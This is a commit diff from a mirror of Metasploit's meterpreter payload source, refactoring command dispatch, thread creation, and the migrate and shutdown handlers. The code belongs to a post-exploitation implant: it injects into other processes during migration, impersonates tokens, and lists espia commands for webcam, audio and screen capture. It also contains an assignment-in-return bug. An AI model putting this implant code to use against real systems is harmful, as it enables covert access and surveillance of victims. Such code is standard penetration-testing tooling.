1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-22 03:19:04 +01:00

Land #34, command refactor

This commit is contained in:
James Lee 2013-11-06 15:33:52 -06:00
commit 3cbf7486d4
23 changed files with 514 additions and 952 deletions

View File

@ -91,7 +91,7 @@ DWORD scheduler_initialize( Remote * remote )
pthread_mutex_init(&scheduler_mutex, NULL);
pthread_cond_init(&scheduler_cond, NULL);
scheduler_thread = thread_create(scheduler_run, remote, NULL);
scheduler_thread = thread_create(scheduler_run, remote, NULL, NULL);
if(! scheduler_thread) {
return ENOMEM;
}

View File

@ -65,7 +65,7 @@ typedef struct _MIGRATECONTEXT
/*
* Migrate the meterpreter server from the current process into another process.
*/
DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
BOOL remote_request_core_migrate( Remote * remote, Packet * packet, DWORD* pResult )
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
@ -185,26 +185,12 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
if( inject_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[MIGRATE] inject_via_apcthread failed" )
}
/*
// Wait at most 15 seconds for the event to be set letting us know that it's finished
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
// Signal the main server thread to begin the shutdown as migration has been successfull.
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (signaling main thread)...");
thread_sigterm( serverThread );
*/
// Signal the main server thread to begin the shutdown as migration has been successfull.
// If the thread is not killed, the pending packet_receive prevents the new process
// from being able to negotiate SSL.
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (killing the main thread)...");
thread_kill( serverThread );
// Wait at most 15 seconds for the event to be set letting us know that it's finished
// Unfortunately, its too late to do anything about a failure at this point
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
//// Wait at most 15 seconds for the event to be set letting us know that it's finished
//// Unfortunately, its too late to do anything about a failure at this point
//if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
// dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
dwResult = ERROR_SUCCESS;
@ -221,7 +207,10 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
if( hEvent )
CloseHandle( hEvent );
return dwResult;
if( pResult )
*pResult = dwResult;
return dwResult = ERROR_SUCCESS ? TRUE : FALSE;
}

View File

@ -76,7 +76,7 @@ DWORD scheduler_destroy( VOID )
while( TRUE )
{
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread list..." );
thread = (THREAD *)list_pop( jlist );
if( thread == NULL )
@ -121,7 +121,7 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotify
entry->context = context;
entry->routine = routine;
swt = thread_create( scheduler_waitable_thread, entry, NULL );
swt = thread_create( scheduler_waitable_thread, entry, NULL, NULL );
if( swt != NULL )
{
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );

View File

@ -5,59 +5,62 @@
#include "common.h"
// Local remote request implementors
extern DWORD remote_request_core_console_write(Remote *remote, Packet *packet);
extern DWORD remote_request_core_console_write( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_open(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_write(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_read(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_close(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet);
extern DWORD remote_request_core_channel_open( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_write( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_read( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_close( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_seek( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_eof( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_tell( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_interact( Remote *remote, Packet *packet );
extern DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet);
extern DWORD remote_request_core_crypto_negotiate( Remote *remote, Packet *packet );
extern DWORD remote_request_core_shutdown(Remote *remote, Packet *packet);
extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult);
extern DWORD remote_request_core_migrate(Remote *remote, Packet *packet);
extern BOOL remote_request_core_migrate( Remote *remote, Packet *packet, DWORD* pResult );
// Local remote response implementors
extern DWORD remote_response_core_console_write(Remote *remote, Packet *packet);
extern DWORD remote_response_core_console_write( Remote *remote, Packet *packet );
extern DWORD remote_response_core_channel_open(Remote *remote, Packet *packet);
extern DWORD remote_response_core_channel_close(Remote *remote, Packet *packet);
extern DWORD remote_response_core_channel_open( Remote *remote, Packet *packet );
extern DWORD remote_response_core_channel_close( Remote *remote, Packet *packet );
DWORD remote_request_core_console_write(Remote *remote, Packet *packet)
DWORD remote_request_core_console_write( Remote *remote, Packet *packet )
{
return ERROR_SUCCESS;
}
DWORD remote_response_core_console_write(Remote *remote, Packet *packet)
DWORD remote_response_core_console_write( Remote *remote, Packet *packet )
{
return ERROR_SUCCESS;
}
BOOL command_is_inline( Command *command, Packet *packet );
Command* command_locate( Packet *packet );
DWORD command_validate_arguments(Command *command, Packet *packet);
DWORD THREADCALL command_process_thread( THREAD * thread );
/*!
* @brief Base RPC dispatch table.
*/
Command commands[] =
Command base_commands[] =
{
/*
* Core commands
*/
// Console commands
{ "core_console_write",
{ remote_request_core_console_write, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
{ remote_response_core_console_write, EMPTY_TLV },
{ remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
{ remote_response_core_console_write, NULL, EMPTY_TLV },
},
// Native Channel commands
// this overloads the "core_channel_open" in the base command list
COMMAND_REQ_REP( "core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open ),
COMMAND_REQ( "core_channel_write", remote_request_core_channel_write ),
COMMAND_REQ_REP( "core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close ),
// Buffered/Pool channel commands
COMMAND_REQ( "core_channel_read", remote_request_core_channel_read ),
// Pool channel commands
@ -69,14 +72,17 @@ Command commands[] =
// Crypto
COMMAND_REQ( "core_crypto_negotiate", remote_request_core_crypto_negotiate ),
// Migration
COMMAND_REQ( "core_migrate", remote_request_core_migrate ),
COMMAND_INLINE_REQ( "core_migrate", remote_request_core_migrate ),
// Shutdown
COMMAND_REQ( "core_shutdown", remote_request_core_shutdown ),
COMMAND_INLINE_REQ( "core_shutdown", remote_request_core_shutdown ),
// Terminator
COMMAND_TERMINATOR
};
// Dynamically registered command extensions
/*!
* @brief Dynamically registered command extensions.
* @details A linked list of commands registered on the fly by reflectively-loaded extensions.
*/
Command *extension_commands = NULL;
/*!
@ -88,7 +94,7 @@ void command_register_all(Command commands[])
DWORD index;
for (index = 0; commands[index].method; index++)
command_register(&commands[index]);
command_register( &commands[index] );
}
/*!
@ -201,20 +207,153 @@ VOID reap_zombie_thread(void * param)
}
#endif
/*!
* @brief Process a command directly on the current thread.
* @param command Pointer to the \c Command to be executed.
* @param remote Pointer to the \c Remote endpoint for this command.
* @param packet Pointer to the \c Packet containing the command detail.
* @returns Boolean value indicating if the server should continue processing.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @sa command_handle
* @sa command_process_thread
*/
BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
{
DWORD result;
BOOL serverContinue = TRUE;
Tlv requestIdTlv;
PCHAR requestId;
PacketTlvType packetTlvType;
dprintf( "[COMMAND] Executing command %s", command->method );
__try
{
do
{
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", command->method, GetLastError());
}
}
#endif
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if( command_validate_arguments( command, packet ) != ERROR_SUCCESS )
break;
packetTlvType = packet_get_type( packet );
switch ( packetTlvType )
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.inline_handler) {
dprintf( "[DISPATCH] executing inline request handler %s", command->method );
serverContinue = command->request.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing request handler %s", command->method );
result = command->request.handler( remote, packet );
}
break;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.inline_handler) {
dprintf( "[DISPATCH] executing inline response handler %s", command->method );
serverContinue = command->response.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing response handler %s", command->method );
result = command->response.handler( remote, packet );
}
break;
}
dprintf("[COMMAND] Calling completion handlers...");
// Get the request identifier if the packet has one.
if ( packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ) == ERROR_SUCCESS )
requestId = (PCHAR)requestIdTlv.buffer;
// Finally, call completion routines for the provided identifier
if( ((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
packet_call_completion_handlers( remote, packet, requestId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf("[COMMAND] Exception hit in command %s", command->method );
}
packet_destroy( packet );
return serverContinue;
}
/*!
* @brief Handle an incoming command.
* @param remote Pointer to the \c Remote instance associated with this command.
* @param packet Pointer to the \c Packet containing the command data.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @remark This function was incorporate to help support two things in meterpreter:
* -# A way of allowing a command to be processed directly on the main server
* thread and not on another thread (which in some cases can cause problems).
* -# A cleaner way of shutting down the server so that container processes
* can shutdown cleanly themselves, where appropriate.
*
* This function will look at the command definition and determine if it should
* be executed inline or on a new command thread.
* @sa command_process_inline
* @sa command_process_thread
*/
BOOL command_handle( Remote *remote, Packet *packet )
{
BOOL result = TRUE;
THREAD* cpt = NULL;
Command* command = NULL;
do
{
command = command_locate( packet );
if( command == NULL ) {
// We have no matching command for this packet, so it won't get handled. We
// need to clean up here before exiting out.
packet_destroy( packet );
break;
}
if( command_is_inline( command, packet ) ) {
dprintf( "Executing inline: %s", command->method );
result = command_process_inline( command, remote, packet );
} else {
dprintf( "Executing in thread: %s", command->method );
cpt = thread_create( command_process_thread, remote, packet, command );
if( cpt )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
}
} while(0);
return result;
}
/*!
* @brief Process a single command in a seperate thread of execution.
* @param thread Pointer to the thread to execute.
* @return Result of processing.
* @return Result of thread execution (not the result of the command).
* @sa command_handle
* @sa command_process_thread
*/
DWORD THREADCALL command_process_thread( THREAD * thread )
{
DWORD index = 0;
DWORD result = ERROR_SUCCESS;
Tlv methodTlv = {0};
Tlv requestIdTlv = {0};
PCHAR method = NULL;
PCHAR requestId = NULL;
Command * current = NULL;
Command * command = NULL;
Remote * remote = NULL;
Packet * packet = NULL;
@ -229,11 +368,16 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
if( packet == NULL )
return ERROR_INVALID_DATA;
command = (Command *)thread->parameter3;
if( command == NULL )
return ERROR_INVALID_DATA;
if( commandThreadList == NULL )
{
commandThreadList = list_create();
if( commandThreadList == NULL )
return ERROR_INVALID_HANDLE;
#ifndef _WIN32
pthread_t tid;
pthread_create(&tid, NULL, reap_zombie_thread, NULL);
@ -243,73 +387,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
list_add( commandThreadList, thread );
__try
{
do
{
// Extract the method
result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( result != ERROR_SUCCESS )
break;
dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
}
}
#endif
// Get the request identifier if the packet has one.
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
if( result == ERROR_SUCCESS )
requestId = (PCHAR)requestIdTlv.buffer;
method = (PCHAR)methodTlv.buffer;
result = ERROR_NOT_FOUND;
// Try to find a match in the dispatch type
for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND && commands[index].method ; index++ )
{
if( strcmp( commands[index].method, method ) )
continue;
// Call the base handler
result = command_call_dispatch( &commands[index], remote, packet );
}
// Regardless of error code, try to see if someone has overriden a base handler
for( current = extension_commands, result = ERROR_NOT_FOUND ;
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
{
if( strcmp( current->method, method ) )
continue;
// Call the custom handler
result = command_call_dispatch( current, remote, packet );
}
dprintf("[COMMAND] Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if( ((packet_get_type(packet) == PACKET_TLV_TYPE_RESPONSE) || (packet_get_type(packet) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (requestId))
packet_call_completion_handlers( remote, packet, requestId );
// If we get here, we're successful.
result = ERROR_SUCCESS;
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf("[COMMAND] Exception hit in command thread 0x%08X!", thread );
}
packet_destroy( packet );
command_process_inline( command, remote, packet );
if( list_remove( commandThreadList, thread ) )
thread_destroy( thread );
@ -317,146 +395,108 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
return ERROR_SUCCESS;
}
/*
* Process a single command
*/
/*
DWORD command_process_remote(Remote *remote, Packet *inPacket)
{
DWORD res = ERROR_SUCCESS, index;
Tlv methodTlv, requestIdTlv;
Packet *localPacket = NULL;
PCHAR method, requestId = NULL;
Command *current;
do
{
// If no packet was providied, try to receive one.
if (!inPacket)
{
if ((res = packet_receive(remote, &localPacket)) != ERROR_SUCCESS)
break;
else
inPacket = localPacket;
}
// Extract the method
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
!= ERROR_SUCCESS))
break;
dprintf("Processing method %s", methodTlv.buffer);
// Get the request identifier if the packet has one.
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
&requestIdTlv) == ERROR_SUCCESS)
requestId = (PCHAR)requestIdTlv.buffer;
method = (PCHAR)methodTlv.buffer;
res = ERROR_NOT_FOUND;
// Try to find a match in the dispatch type
for (index = 0, res = ERROR_NOT_FOUND;
res = ERROR_NOT_FOUND && commands[index].method;
index++)
{
if (strcmp(commands[index].method, method))
continue;
// Call the base handler
res = command_call_dispatch(&commands[index], remote, inPacket);
}
// Regardless of error code, try to see if someone has overriden
// a base handler
for (current = extension_commands, res = ERROR_NOT_FOUND;
res == ERROR_NOT_FOUND && current && current->method;
current = current->next)
{
if (strcmp(current->method, method))
continue;
// Call the custom handler
res = command_call_dispatch(current, remote, inPacket);
}
dprintf("Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&
(requestId))
packet_call_completion_handlers(remote, inPacket, requestId);
// If we get here, we're successful.
res = ERROR_SUCCESS;
} while (0);
if (localPacket)
packet_destroy(localPacket);
return res;
}*/
/*
* Process incoming commands, calling dispatch tables appropriately
*/
/*
DWORD command_process_remote_loop(Remote *remote)
{
DWORD res = ERROR_SUCCESS;
Packet *packet;
while ((res = packet_receive(remote, &packet)) == ERROR_SUCCESS)
{
res = command_process_remote(remote, packet);
// Destroy the packet
packet_destroy(packet);
// If a command returned exit, we shall return.
if (res == ERROR_INSTALL_USEREXIT)
break;
}
return res;
}
*/
/*!
* @brief Call the dispatch routine for a given command.
* @param command The command to call the dispatch routine on.
* @param remote Pointer to the remote connection.
* @param packet Pointer to the current packet.
* @return Result of the command dispatch handler call.
* @brief Determine if a given command/packet combination should be invoked inline.
* @param command Pointer to the \c Command being invoked.
* @param packet Pointer to the \c Packet being received/sent.
* @returns Boolean indication of whether the command should be executed inline.
* @retval TRUE The command should be executed inline on the current thread.
* @retval FALSE The command should be executed on a new thread.
*/
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
BOOL command_is_inline( Command *command, Packet *packet )
{
DWORD res;
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if ((res = command_validate_arguments(command, packet)) != ERROR_SUCCESS)
return res;
switch (packet_get_type(packet))
switch (packet_get_type( packet ))
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.handler)
res = command->request.handler(remote, packet);
break;
if (command->request.inline_handler)
return TRUE;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.handler)
res = command->response.handler(remote, packet);
break;
default:
res = ERROR_NOT_FOUND;
break;
if (command->response.inline_handler)
return TRUE;
}
return res;
return FALSE;
}
/*!
* @brief Attempt to locate a command in the base command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the base command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_base( const char* method )
{
DWORD index;
dprintf( "[COMMAND EXEC] Attempting to locate base command %s", method );
for( index = 0; base_commands[index].method ; ++index )
if( strcmp( base_commands[index].method, method ) == 0 )
return &base_commands[index];
dprintf( "[COMMAND EXEC] Couldn't find base command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command in the extensions command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the extensions command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_extension( const char* method )
{
Command* command;
dprintf( "[COMMAND EXEC] Attempting to locate extension command %s", method );
for( command = extension_commands; command; command = command->next )
if( strcmp( command->method, method ) == 0 )
return command;
dprintf( "[COMMAND EXEC] Couldn't find extension command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command to execute based on the method.
* @param method String that identifies the command.
* @returns Pointer to the command entry to execute.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
* @remark This function tries to find an extension command first. If
* found it will be returned. If not, the base command list is
* queried. This supports the notion of extensions overloading
* the base commands.
* @sa command_locate_extension
* @sa command_locate_base
*/
Command* command_locate( Packet *packet )
{
Command* command = NULL;
DWORD dwResult;
Tlv methodTlv;
do
{
dwResult = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( dwResult != ERROR_SUCCESS ) {
dprintf( "[COMMAND] Unable to extract method from packet." );
break;
}
// check for an overload first.
command = command_locate_extension( (PCHAR)methodTlv.buffer );
// if no overload, then fallback on base.
if( command == NULL )
command = command_locate_base( (PCHAR)methodTlv.buffer );
} while(0);
return command;
}
/*!

View File

@ -10,6 +10,7 @@
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
typedef BOOL (*INLINE_DISPATCH_ROUTINE)( Remote *remote, Packet *packet, DWORD* result);
/*! @brief Specifies the maximum number of arguments that are checked/handled
* in a request/response packet dispatcher.
@ -24,15 +25,30 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
#define EMPTY_TLV { 0 }, 0
/*! @brief Helper macro which defines an empty dispatch handler. */
#define EMPTY_DISPATCH_HANDLER NULL, EMPTY_TLV
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
/*! @brief Helper macro that defines terminator for command lists. */
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
/*! @brief Helper macro that defines a command instance with a request handler only. */
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*! @brief Helper macro that defines a command instance with a response handler only. */
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, EMPTY_TLV } }
/*! @brief Helper macro that defines a command instance with both a request and response handler. */
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, EMPTY_TLV }, { repHandler, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with a request handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with a response handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with both a request and response handler.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with an inline request handler only.
* @remarks The request handler will be executed on the server thread.
*/
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
// Place holders
/*! @deprecated This entity is not used and may be removed in future. */
@ -46,12 +62,21 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
typedef struct
{
/*! @brief Pointer to the routine that will be called to handle the request/response. */
DISPATCH_ROUTINE handler;
DISPATCH_ROUTINE handler;
/*!
* @brief Pointer to the routine that will be called on the _current thread_.
* @remark If this function is specified then it will be invoked on the current server
* thread rather than having a new thread allocated to it for processing.
* The result of this routine will indicate whether the server should continue.
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
*/
INLINE_DISPATCH_ROUTINE inline_handler;
/*! @brief Array of types that match the expected arguments for this response/request routine. */
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
/*! @brief The number of entries in the \c argumentTypes array. */
DWORD numArgumentTypes;
DWORD numArgumentTypes;
} PacketDispatcher;
/*!
@ -75,11 +100,6 @@ LINKAGE DWORD command_deregister(Command *command);
LINKAGE VOID command_join_threads( VOID );
LINKAGE DWORD THREADCALL command_process_thread( THREAD * thread );
//LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
//LINKAGE DWORD command_process_remote_loop(Remote *remote);
LINKAGE DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet);
LINKAGE DWORD command_validate_arguments(Command *command, Packet *packet);
LINKAGE BOOL command_handle( Remote *remote, Packet *packet );
#endif

View File

@ -1,15 +1,5 @@
#include "common.h"
#ifdef _WIN32
/* it appears extern'd globals screw up the posix build because the linker
* fails to find them and causes metsrv to exit.
* - egypt
*/
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
extern THREAD * serverThread;
#endif
/*
* core_channel_open
* -----------------
@ -31,9 +21,10 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
do
{
dprintf( "[CHANNEL] Opening new channel for packet %p", packet );
// If the channel open request had a specific channel type
if ((channelType = packet_get_tlv_value_string(packet,
TLV_TYPE_CHANNEL_TYPE)))
if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE)))
{
res = ERROR_NOT_FOUND;
break;
@ -42,28 +33,36 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
// Get any flags that were supplied
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
dprintf( "[CHANNEL] Opening %s %u", channelType, flags );
// Allocate a response
response = packet_create_response(packet);
// Did the response allocation fail?
if ((!response) ||
(!(newChannel = channel_create(0, flags))))
if ((!response) || (!(newChannel = channel_create(0, flags))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
dprintf( "[CHANNEL] Opened %s %u", channelType, flags );
// Get the channel class and set it
newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);
dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls );
// Add the new channel identifier to the response
if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
channel_get_id(newChannel))) != ERROR_SUCCESS)
break;
// Transmit the response
dprintf( "[CHANNEL] Sending response for %s", channelType );
res = packet_transmit(remote, response, NULL);
dprintf( "[CHANNEL] Done" );
} while (0);
return res;
@ -615,29 +614,23 @@ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
return ERROR_SUCCESS;
}
/*
* core_shutdown
* -----------------
*
*/
DWORD remote_request_core_shutdown(Remote *remote, Packet *packet)
DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult )
{
Channel *channel = NULL;
Packet *response = packet_create_response(packet);
Packet *response = packet_create_response( packet );
DWORD result = ERROR_SUCCESS;
// Acknowledge the shutdown request
packet_add_tlv_bool(response, TLV_TYPE_BOOL, TRUE);
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
// Transmit the response
packet_transmit_response(result, remote, response);
packet_transmit_response( result, remote, response );
#ifdef _WIN32
// see note about posix above - egypt
dprintf("[SHUTDOWN] Shutting down the Meterpreter thread 1 (killing the main thread)...");
thread_kill( serverThread );
#endif
return result;
*pResult = result;
return TRUE;
}

View File

@ -46,9 +46,6 @@ int current_unix_timestamp(void) {
int debugging_enabled;
/*
*/
/*!
* @brief Output a debug string to the debug console.
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed

View File

@ -161,7 +161,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#include <wininet.h>
/*! @brief When defined, debug output is enabled. */
/*! @brief When defined, debug output is enabled on Windows builds. */
//#define DEBUGTRACE 1
#ifdef DEBUGTRACE
@ -180,9 +180,9 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
/*! @brief Close a handle if not already closed and set the handle to NULL. */
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
#ifdef DEBUGTRACE
/*!

View File

@ -321,7 +321,7 @@ void *__paused_thread(void *req)
/*
* Create a new thread in a suspended state.
*/
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )
{
THREAD * thread = NULL;
@ -344,6 +344,7 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
thread->parameter1 = param1;
thread->parameter2 = param2;
thread->parameter3 = param3;
#ifdef _WIN32
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );

View File

@ -60,6 +60,7 @@ typedef struct _THREAD
EVENT * sigterm;
LPVOID parameter1;
LPVOID parameter2;
LPVOID parameter3;
#ifndef _WIN32
void *suspend_thread_data;
pthread_t pid;
@ -99,7 +100,7 @@ BOOL event_poll( EVENT * event, DWORD timeout );
THREAD * thread_open( VOID );
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 );
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
BOOL thread_run( THREAD * thread );

View File

@ -22,29 +22,10 @@ EnableDelayLoadMetSrv();
Command customCommands[] =
{
// Video
{ "espia_video_get_dev_image",
{ request_video_get_dev_image, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Audio
{ "espia_audio_get_dev_audio",
{ request_audio_get_dev_audio, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Screen
{ "espia_image_get_dev_screen",
{ request_image_get_dev_screen, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ),
COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ),
COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ),
COMMAND_TERMINATOR
};
/*
@ -56,13 +37,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
hMetSrv = remote->hMetSrv;
